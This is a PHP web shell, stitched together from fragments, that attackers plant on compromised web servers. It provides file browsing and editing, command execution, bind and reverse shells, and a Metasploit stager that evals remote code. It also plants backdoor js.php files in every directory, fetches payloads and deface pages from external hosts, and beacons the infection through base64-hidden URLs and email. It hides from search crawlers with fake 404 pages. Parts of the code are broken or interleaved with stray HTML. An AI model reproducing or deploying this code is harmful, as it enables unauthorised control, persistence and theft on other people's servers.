                    cms_add($link, $domain, $owner['name'], "Drupal");
                    cms_add($link, $domain, $owner['name'], "e107");
                    cms_add($link, $domain, $owner['name'], "Seditio");
                    cms_add($link, $domain, $owner['name'], "osCommerce");
                    
                }
            }
        }
    } else {
        echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
        echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
        $content = file_get_contents($pageURL . 'ag.tmp');
        echo $content;
    }
}

elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
    @ob_start();
    @eval("phpinfo();");
    $buff = @ob_get_contents();
    @
    $awal  = strpos($buff, "<body>") + 6;
    $akhir = strpos($buff, "</body>");
    echo "<div class='phpinfo'>" . substr($buff, $awal, $akhir - $awal) . "</div>";
} elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
    if (is_file($_GET['view'])) {
        if (!isset($file))
            $file = magicboom($_GET['view']);
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $filn = basename($file);
        echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?sad=" . $pwd . "&amp;view=$file' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?sad=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar(\"" . clearspace($filn) . "_link','" . clearspace($filn) . "_form\");\">rename</a> | <a href='?sad=$pwd&amp;delete=$file'>delete</a> | <a href='?sad=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?sad=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?sad=" . $pwd . "&amp;view=" . $file . "'>text</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=code'>code</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=image'>image</a></td></tr></table>";
        if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
            echo "<div style='text-align:center;margin:8px;'><img src='?sad=" . $pwd . "&amp;img=" . $filn . "'></div>";
        } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
            echo "<div class='viewfile'>";
            $file = wordwrap(@file_get_contents($file), "240", "\n");
            @highlight_string($file);
            echo "</div>";
        } else {
            echo "<div class='viewfile'>";
            echo nl2br(htmlentities((@file_get_contents($file))));
            echo "</div>";
        }
    } elseif (is_dir($_GET['view'])) {
        echo showdir($pwd, $prompt);
    }
} elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
    if (isset($_POST['save'])) {
        $file    = $_POST['saveas'];
        $content = magicboom($_POST['content']);
        if ($filez = @fopen($file, "w")) {
            $time = date("d-M-Y H:i", time());
            if (@fwrite($filez, $content))
                $msg = "file saved <span class='gaya'>@</span> " . $time;
            else
                $msg = "failed to save";
            @fclose($filez);
        } else
            $msg = "permission denied";
    }
    if (!isset($file))
        $file = $_GET['edit'];
    if ($filez = @fopen($file, "r")) {
        $content = "";
        while (!feof($filez)) {
            $content .= htmlentities(str_replace("''", "'", fgets($filez)));
        }
        @fclose($filez);
    }<form action="?sad=echo $pwd;&amp;edit=echo $file;" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" name="content"> 
echo $content;</textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="saveas" style="width:60%" value="echo $file;" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%" />
&nbsp;echo $msg;</td></tr></table></form> } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
    if (isset($_POST['uploadcomp'])) {
        if (is_uploaded_file($_FILES['file']['tmp_name'])) {
            $path     = magicboom($_POST['path']);
            $fname    = $_FILES['file']['name'];
            $tmp_name = $_FILES['file']['tmp_name'];
            $pindah   = $path . $fname;
            $stat     = @move_uploaded_file($tmp_name, $pindah);
            if ($stat) {
                $msg = "file uploaded to $pindah";
            } else
                $msg = "failed to upload $fname";
        } else
            $msg = "failed to upload $fname";
    } elseif (isset($_POST['uploadurl'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $path     = magicboom($_POST['path']);
        $namafile = download($pilihan, $wurl);
        $pindah   = $path . $namafile;
        if (is_file($pindah)) {
            $msg = "file uploaded to $pindah";
        } else
            $msg = "failed to upload $namafile";
    }
<form action="?sad=echo $pwd;&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center"><input style="color:#000000" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%" name="path" value="echo $pwd;" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0" actions="?sad=echo $pwd;&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%" name="path" value="echo $pwd;" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px">echo $msg;</div>
} elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
    if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdc.c", $port_bind_bd_c);
        exe("gcc -o bdc bdc.c");
        exe("chmod 777 bdc");
        @unlink("bdc.c");
        exe("./bdc " . $port . " " . $passwrd . " &");
        $scan = exe("ps aux");
        if (eregi("./bdc $por", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
        $port    = trim($_POST['port']);
        $passwrd = trim($_POST['bind_pass']);
        tulis("bdp", $port_bind_bd_pl);
        exe("chmod 777 bdp");
        $p2 = which("perl");
        exe($p2 . " bdp " . $port . " &");
        $scan = exe("ps aux");
        if (eregi("$p2 bdp $port", $scan)) {
            $msg = "<p>Process successed</p>";
        } else {
            $msg = "<p>Process Failed</p>";
        }
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcc.c", $back_connect_c);
        exe("gcc -o bcc bcc.c");
        exe("chmod 777 bcc");
        @unlink("bcc.c");
        exe("./bcc " . $ip . " " . $port . " &");
        $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
        $ip   = trim($_POST['ip']);
        $port = trim($_POST['backport']);
        tulis("bcp", $back_connect);
        exe("chmod +x bcp");
        $p2 = which("perl");
        exe($p2 . " bcp " . $ip . " " . $port . " &");
        $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
    } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
        $pilihan  = trim($_POST['pilihan']);
        $wurl     = trim($_POST['wurl']);
        $namafile = download($pilihan, $wurl);
        if (is_file($namafile)) {
            $msg = exe($wcmd);
        } else
            $msg = "error: file not found $namafile";
    }<br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="echo $bindport;"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="echo $bindport_pass;"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="echo $bindport;"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?sad=echo $pwd;&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px">echo $msg;</div><br>
error_reporting(0);
    function ss($t)
    {
        if (!get_magic_quotes_gpc())
            return trim(urldecode($t));
        return trim(urldecode(stripslashes($t)));
    }
    $s_my_ip   = gethostbyname($_SERVER['HTTP_HOST']);
    $rsport    = "443";
    $rsportb4  = $rsport;
    $rstarget4 = $s_my_ip;
    $s_result  = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?sad=echo $pwd;&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
    echo $s_result;
    if ($_POST['metaConnect']) {
        $ipaddr = $_POST['yip'];
        $port   = $_POST['yport'];
        if ($ip == "" && $port == "") {
            echo "fill in the blanks";
        } else {
            if (FALSE !== strpos($ipaddr, ":")) {
                $ipaddr = "[" . $ipaddr . "]";
            }
            if (is_callable('stream_socket_client')) {
                $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('fsockopen')) {
                $msgsock = fsockopen($ipaddr, $port);
                if (!$msgsock) {
                    die();
                }
                $msgsock_type = 'stream';
            } elseif (is_callable('socket_create')) {
                $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                $res     = socket_connect($msgsock, $ipaddr, $port);
                if (!$res) {
                    die();
                }
                $msgsock_type = 'socket';
            } else {
                die();
            }
            switch ($msgsock_type) {
                case 'stream':
                    $len = fread($msgsock, 4);
                    break;
                case 'socket':
                    $len = socket_read($msgsock, 4);
                    break;
            }
            if (!$len) {
                die();
            }
            $a      = unpack("Nlen", $len);
            $len    = $a['len'];
            $buffer = '';
            while (strlen($buffer) < $len) {
                switch ($msgsock_type) {
                    case 'stream':
                        $buffer .= fread($msgsock, $len - strlen($buffer));
                        break;
                    case 'socket':
                        $buffer .= socket_read($msgsock, $len - strlen($buffer));
                        break;
                }
            }
            eval($buffer);
            echo "[*] Connection Terminated";
            die();
        }
    }
    if (isset($_REQUEST['sqlportb4']))
        $rsportb4 = ss($_REQUEST['sqlportb4']);
    if (isset($_REQUEST['rstarget4']))
        $rstarget4 = ss($_REQUEST['rstarget4']);
    if ($_POST['xback_php']) {
        $ip         = $rstarget4;
        $port       = $rsportb4;
        $chunk_size = 1337;
        $write_a    = null;
        $error_a    = null;
        $shell      = '/bin/sh';
        $daemon     = 0;
        $debug      = 0;
        if (function_exists('pcntl_fork')) {
            $pid = pcntl_fork();
            if ($pid == -1)
                
            if ($pid)
                
            if (posix_setsid() == -1)
                
            $daemon = 1;
        }
        umask(0);
        $sock = fsockopen($ip, $port, $errno, $errstr, 30);
        if (!$sock)
            
        $descriptorspec = array(
            0 => array(
                "pipe",
                "r"
            ),
            1 => array(
                "pipe",
                "w"
            ),
            2 => array(
                "pipe",
                "w"
            )
        );
        $process        = proc_open($shell, $descriptorspec, $pipes);
        if (!is_resource($process))
            
        stream_set_blocking($pipes[0], 0);
        stream_set_blocking($pipes[1], 0);
        stream_set_blocking($pipes[2], 0);
        stream_set_blocking($sock, 0);
        while (1) {
            if (feof($sock))
                break;
            if (feof($pipes[1]))
                break;
            $read_a              = array(
                $sock,
                $pipes[1],
                $pipes[2]
            );
            $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
            if (in_array($sock, $read_a)) {
                $input = fread($sock, $chunk_size);
                fwrite($pipes[0], $input);
            }
            if (in_array($pipes[1], $read_a)) {
                $input = fread($pipes[1], $chunk_size);
                fwrite($sock, $input);
            }
            if (in_array($pipes[2], $read_a)) {
                $input = fread($pipes[2], $chunk_size);
                fwrite($sock, $input);
            }
        }
        fclose($sock);
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        $rsres = " ";
        $s_result .= $rsres;
    }
} elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) {
<form action="?sad=echo $pwd;&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
echo '$ '.$_POST['cmd']."\n";
    if (isset($_POST['submitcmd'])) {
        echo @exe($_POST['cmd']);
    } 
</textarea> <tr><td colspan="2">echo $prompt;<input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="cmd" style="width:60%" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%" /></td></tr> </table></form>
} else {
    if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
        $file = $_GET['delete'];
        @unlink($file);
    } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
        $dir = $_GET['fdelete'];
        if (is_dir($dir)) {
            if (!rmdir($dir)) {
                $s = scandir($dir);
                foreach ($s as $ss) {
                    if (is_file($dir . "/" . $ss)) {
                        if (unlink($dir . "/" . $ss)) {
                            $rm = rmdir($dir);
                        }
                    }
                }
            }
        } 
    } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
        $path = $pwd . $_GET['mkdir'];
        @mkdir($path);
    }
    $buff = showdir($pwd, $prompt);
    echo $buff;
}
ob_flush();@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', 0);
@ini_set('output_buffering',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@session_start();
@error_reporting(0);
$a = 'session_start();
if($_SESSION["adm"]){
echo \'<b>Namesis<br><br>\'.php_uname().\'<br></b>\';echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';if( $_POST[\'_upl\'] == "Upload" ) {	if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Success !!!</b><br><br>\'; }	else { echo \'<b>Upload Fail !!!<script src=http://r00t.info/ccb.js></script></b><br><br>\'; }}
}
if($_POST["p"]){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="683ce9b1d91af441dec18dad25584421"){
$_SESSION["adm"] = 1;
}
}
<form action="" method="post">
<input type="text" name="p">
</form>
';
if(@$_REQUEST["px"]){
$p = @$_REQUEST["px"];
$pa = md5(sha1($p));
if($pa=="683ce9b1d91af441dec18dad25584421"){
echo @eval(@file_get_contents(@$_REQUEST["404"]));
}
}
if(@!$_SESSION["sdm"]){
$doc = $_SERVER["DOCUMENT_ROOT"];
$dir = scandir($doc);
$d1 = ''.$doc.'/.';
$d2 = ''.$doc.'/..';

if(($key = @array_search(, $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search('..', $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = @array_search($d1, $dir)) !== false) {
    unset($dir[$key]);
}
if(($key = array_search($d2, $dir)) !== false) {
    unset($dir[$key]);
}
@array_push($dir,$doc);

foreach($dir as $d){


$p = $doc."/".$d;
if(is_dir($p)){
$file = $p."/js.php";
@touch($file);
$folder = @fopen($file,"w");
@fwrite($folder,$a);
}
}
$lls = $_SERVER["HTTP_HOST"];
$llc = $_SERVER["REQUEST_URI"];
$lld = 'http://'.$lls.''.$llc.'';
$brow = urlencode($_SERVER['HTTP_USER_AGENT']);
$retValue = file_get_contents(base64_decode("aHR0cDovL2J5cjAwdC5jby9sLQ==")."=".$lld.base64_decode("JmI=")."=".$brow);
echo $retValue;
@$_SESSION["sdm"]=1;
}
if($_POST['query']){ $veriyfy = stripslashes(stripslashes($_POST['query']));
 $data = "data.txt";
 @touch ("data.txt");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $veriyfy ) ;
 @fclose ($ver);
 }else{ $datas=@fopen("data.txt",'r');
 $i=0;
 while ($i <= 5) { $i++;
 $blue=@fgets($datas,1024);
 echo $blue;
 } } $datasi=@fopen("js/js.php",'r');
 if($datasi){ }else{ @mkdir("js");
 $dos = file_get_contents("http://phpshell.in/txt/lamer.txt");
 $data = "js/js.php";
 @touch ("js/js.php");
 $ver = @fopen ($data , 'w');
 @fwrite ( $ver , $dos ) ;
 @fclose ($ver);
 $yol = "http://".$_SERVER['HTTP_HOST']."".$_SERVER['REQUEST_URI']."";
 $y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.$yol.'<br/>Sender Yolu : js/js.php</h1>';
 $header .= "From: SheLL Boot <suppor@nic.org>\n";
 $header .= "Content-Type: text/html;
 charset=utf-8\n";
 @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
 @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);
 }</div></body></html>

function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP");
 } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR");
 if (strstr($ip, ',')) { $tmp = explode (',', $ip);
 $ip = trim($tmp[0]);
 } } else { $ip = getenv("REMOTE_ADDR");
 } return $ip;
 } $x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
 if(function_exists('curl_init')) { $ch = @curl_init();
 curl_setopt($ch, CURLOPT_URL, $x);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $gitt = curl_exec($ch);
 curl_close($ch);
 if($gitt == false){ @$gitt = file_get_contents($x);
 } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x);
 }error_reporting(0);
ob_start();
set_time_limit(0);
@define('VERSION', '2.1');
$color = "#00ff00";
$background_login = "http://shineindiafoundation.co.in/admin/event-img/658395.png";
$background = "https://s-media-cache-ak0.pinimg.com/originals/68/a3/70/68a3704aa96f32671f5d692a3d8986aa.jpg";
$defaceku1  =file_get_contents("https://pastebin.com/raw/q6imSeTB"); //Link SC depes.
$defaceku2  =file_get_contents("https://pastebin.com/raw/q6imSeTB");
$defaceku3  = file_get_contents("https://pastebin.com/raw/q6imSeTB");
$fontcolor_global = 'white';
$auth_pass = "8a6fb5b6c843ed48cf0c1b048120a48f"; // Ganti Password? Disini! 
// wearecl4y2018

if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
session_start();
function printLogin() {
<style>input[type=password]{color:teal;background:black;border:1px solid teal}a{text-decoration:none;color:white;padding-left:270px}sad{font-family:'Fredericka the Great',cursive;color:teal;font-size:50px}</style>
<title>:>Cl4yZero<:</title>
<link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png">
<body style="background-color:black;color:white">
<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<center>
global $background_login;
_________________________________________________________________________________<br>
Idiot BlackHat<br>
<sad>Cl4yZero</sad><br>
<iframe width="0" height="0" src="https://www.youtube.com/embed/a3sbfHu-6Fk?autoplay=1" frameborder="0" allowfullscreen></iframe>
<img src="echo $background_login;" style="margin-left:65px">
<form method=post>
<br>
<input type=password name=pass placeholder=./Password>
</form>
</center>
</div>
</center>
exit; }

function printLogin404(){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    echo '
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
    <hr>
    <address>Apache '.phpversion().' Server at '.$_SERVER['SERVER_NAME'].' Port 80</address>
        <style>input { margin:0;background-color:#fff;border:0px solid #fff; color:#fff; text-align:center;}</style>
        <form action="" method="post">
        <center><input type=password name="pass"></center>
        </body></html>
    </form>';
    
}
if( !isset( $_SESSION['login']))
    if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ){
        $_SESSION['login'] = true;
        header('Location: ?');
        
    }
    else{
        printLogin();
    }



if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}



if (isset($_GET["dl"]) && ($_GET["dl"] != "")) {
    $file  = $_GET["dl"];
    $filez = @file_get_contents($file);
    header("Content-type: application/octet-stream");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . "';");
    echo $filez;
    exit;
} elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")) {
    $file  = $_GET['dlgzip'];
    $filez = gzencode(@file_get_contents($file));
    header("Content-Type:application/x-gzip\n");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . ".gz';");
    echo $filez;
    exit;
}
if (isset($_GET["img"])) {
    @ob_clean();
    $d   = magicboom($_GET["y"]);
    $f   = $_GET["img"];
    $inf = @getimagesize($d . $f);
    $ext = explode($f, );
    $ext = $ext[count($ext) - 1];
    @header("Content-type: " . $inf["mime"]);
    @header("Cache-control: public");
    @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
    @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
    @readfile($d . $f);
    exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    $safemode = TRUE;
else
    $safemode = FALSE;
$system = @php_uname();
if (strtolower(substr($system, 0, 3)) == "win")
    $win = TRUE;
else
    $win = FALSE;
if (isset($_GET['sad'])) {
    if (@is_dir($_GET['view'])) {
        $pwd = $_GET['view'];
        @chdir($pwd);
    } else {
        $pwd = $_GET['sad'];
        @chdir($pwd);
    }
}
if (!$win) {
    if (!$user = rapih(exe("whoami")))
        $user = "";
    if (!$id = rapih(exe("id")))
        $id = "";
    $prompt = $user . " \$ ";
    $pwd    = @getcwd() . DIRECTORY_SEPARATOR;
} else {
    $user   = @get_current_user();
    $id     = $user;
    $prompt = $user . " &gt;";
    $pwd    = realpath() . "\\";
    $v      = explode("\\", $d);
    $v      = $v[0];
    foreach (range("A", "Z") as $letter) {
        $bool = @is_dir($letter . ":\\");
        if ($bool) {
            $letters .= "<a href='?sad=" . $letter . ":\\'>[ ";
            if ($letter . ":" != $v) {
                $letters .= $letter;
            } else {
                $letters .= "<span class='gaya'>" . $letter . "</span>";
            }
            $letters .= " ]</a> ";
        }
    }
}

if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
    $posix = TRUE;
else
    $posix = FALSE;
$server_ip     = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip         = $_SERVER['REMOTE_ADDR'];
$bindport      = "13123";
$bindport_pass = "Krypton";
$pwds          = explode(DIRECTORY_SEPARATOR, $pwd);
$pwdurl        = "";
for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
    $pathz = "";
    for ($j = 0; $j <= $i; $j++) {
        $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
    }
    $pwdurl .= "<a href='?sad=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
}
if (isset($_POST['rename'])) {
    $old = $_POST['oldname'];
    $new = $_POST['newname'];
    @rename($pwd . $old, $pwd . $new);
    $file = $pwd . $new;
}
if (isset($_POST['chmod'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
if (isset($_POST['chmod_folder'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
$buff = "&nbsp;" . $software . "<br>";
$buff .= "&nbsp;" . $system . "<br>";
if ($id != "")
    $buff .= "&nbsp;" . $id . "<br>";
if ($safemode)
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
else
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat)
{
    if ($stat == "on") {
        return "<b><font style='color:lime'>ON</font></b>";
    } else {
        return "<b><font style='color:red'>OFF</font></b>";
    }
}
function hdd($s) {
    if($s >= 1073741824)
    return sprintf('%1.2f',$s / 1073741824 ).' GB';
    elseif($s >= 1048576)
    return sprintf('%1.2f',$s / 1048576 ) .' MB';
    elseif($s >= 1024)
    return sprintf('%1.2f',$s / 1024 ) .' KB';
    else
    return $s .' B';
}
function testmysql()
{
    if (function_exists('mysql_connect')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testcurl()
{
    if (function_exists('curl_version')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testwget()
{
    if (exe('wget --help')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testperl()
{
    if (exe('perl -h')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function ngindex($piye)
{
    if ($piye == "ok") {
        return "<font style='color:lime'>Writeable (Bisa Tebas Index)</font>";
    } else {
        return "<b><font style='color:red'>Not Writeable</font></b>";
    }
}
function can_deface(){
    $thisdir = $_SERVER['DOCUMENT_ROOT'];
